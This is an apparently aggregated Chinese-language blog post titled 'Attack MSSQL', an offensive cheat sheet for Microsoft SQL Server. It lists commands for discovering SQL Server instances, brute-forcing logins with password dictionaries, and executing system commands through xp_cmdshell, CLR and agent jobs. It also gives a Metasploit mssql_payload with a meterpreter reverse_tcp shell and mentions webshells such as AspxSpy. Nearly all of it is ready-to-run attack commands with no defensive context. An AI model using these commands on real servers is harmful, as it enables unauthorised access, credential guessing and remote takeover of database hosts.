[聚合文章] Attack MSSQL

SQL Server 2017-12-18 19 阅读

服务发现

比较常用的一些

MetaSploit:

msf > use auxiliary/scanner/mssql/mssql_ping

Nmap:

nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156

PowerUpSQL:

Get-SQLInstanceDomain -Verbose | Get-SQLServerInfo -Verbose
Get-SQLInstanceLocal -Verbose | Get-SQLServerInfo -Verbose
Get-SQLServerInfo -Verbose -Instance "SQLSERVER1\MYINSTANCE"
Get-SQLServerInfo -Verbose -Instance "SQLSERVER1\MYINSTANCE" -Username MyUser -Password MyPassword
Get-SQLServerInfo -Verbose -Instance "SQLSERVER1\MYINSTANCE" -Credential MyUser

F-NAScan:

python NAScan.py -h 192.168.1 -p 1433

用Pyinstaller打包成exe也挺好用的

其他:

一些连接工具的服务发现功能,例如:Microsoft SQL Server Management Studio的"Browse for More"功能

枚举

利用其他途径收集到的用户密码组合成字典来对域内的MSSQL机器进行枚举,效果事半功倍

MetaSploit:

msf > use auxiliary/admin/mssql/mssql_enum
msf > use auxiliary/scanner/mssql/mssql_login

设置好 PASS_FILERHOSTS 就行了

Nmap:

nmap -p 445 --script ms-sql-brute --script-args mssql.instance-all,userdb=user.txt,passdb=pass.txt 192.168.1.1
nmap -p 1433 --script ms-sql-brute --script-args userdb=user.txt,passdb=pass.txt 192.168.1.1

PowerUpSQL:

Invoke-SQLAuditWeakLoginPw

FScrack:

python FScrack.py -h 192.168.1 -p 1433 -d pass.txt

打包成exe同样很方便

Scansql:

比较喜欢用的一个1433多线程批量爆破工具,速度贼快、效率贼6

Usage:   scansql.exe  startIP <endIP> <Thread>
Example: scansql.exe  192.168.0.1 192.168.0.254
scansql.exe  192.168.0.1 192.168.0.254 100

利用

MetaSploit:

msf > auxiliary/admin/mssql/mssql_exec #xp_cmdshell执行系统命令
msf > auxiliary/admin/mssql/mssql_sql #SQL查询

反弹

msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp

Nmap:

nmap -p 445 --script ms-sql-discover,ms-sql-empty-password,ms-sql-xp-cmdshell 192.168.1.1
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="whoami" 192.168.1.1

执行指定命令,可以通过SMB协议或者MSSQL来执行

PowerUpSQL:

Invoke-SQLImpersonateServiceCmd #通过xp_cmdshell执行系统命令
Invoke-SQLOSCmd #通过CLR执行系统命令
Invoke-SQLOSCmdOle #通过Ole Automation Procedures执行系统命令
Invoke-SQLOSCmdR #通过外部脚本执行系统命令
Invoke-SQLOSCmdPython #利用Python通过外部脚本执行系统命令
Invoke-SQLOSCmdAgentJob #通过AgentJobs(CMDExec, PowerShell, ActiveX:JScript, and ActiveX:VBScript)执行系统命令

都需要sysadmin权限,参考: https://github.com/NetSPI/PowerUpSQL/wiki/Primary-Attack-Functions

SqlMap:

通过 DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME (MySQL, Oracle, Microsoft SQL Server, PostgreSQL等)或者 DBMS://DATABASE_FILEPATH (SQLite, Microsoft Access, Firebird等)连接数据库进行操作

python sqlmap.py -d "DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME"

注释

dbms:所使用的数据库
user:数据库用户
password:数据库密码
dbma_IP:数据库服务器ip地址
dbms_PORT:数据服务器端口
database_NAME:所使用的数据库名

脚本及其他:

各种webshell...如:AspxSpy
数据库连接工具

先写这么多吧。。。

注:本文内容来自互联网,旨在为开发者提供分享、交流的平台。如有涉及文章版权等事宜,请你联系站长进行处理。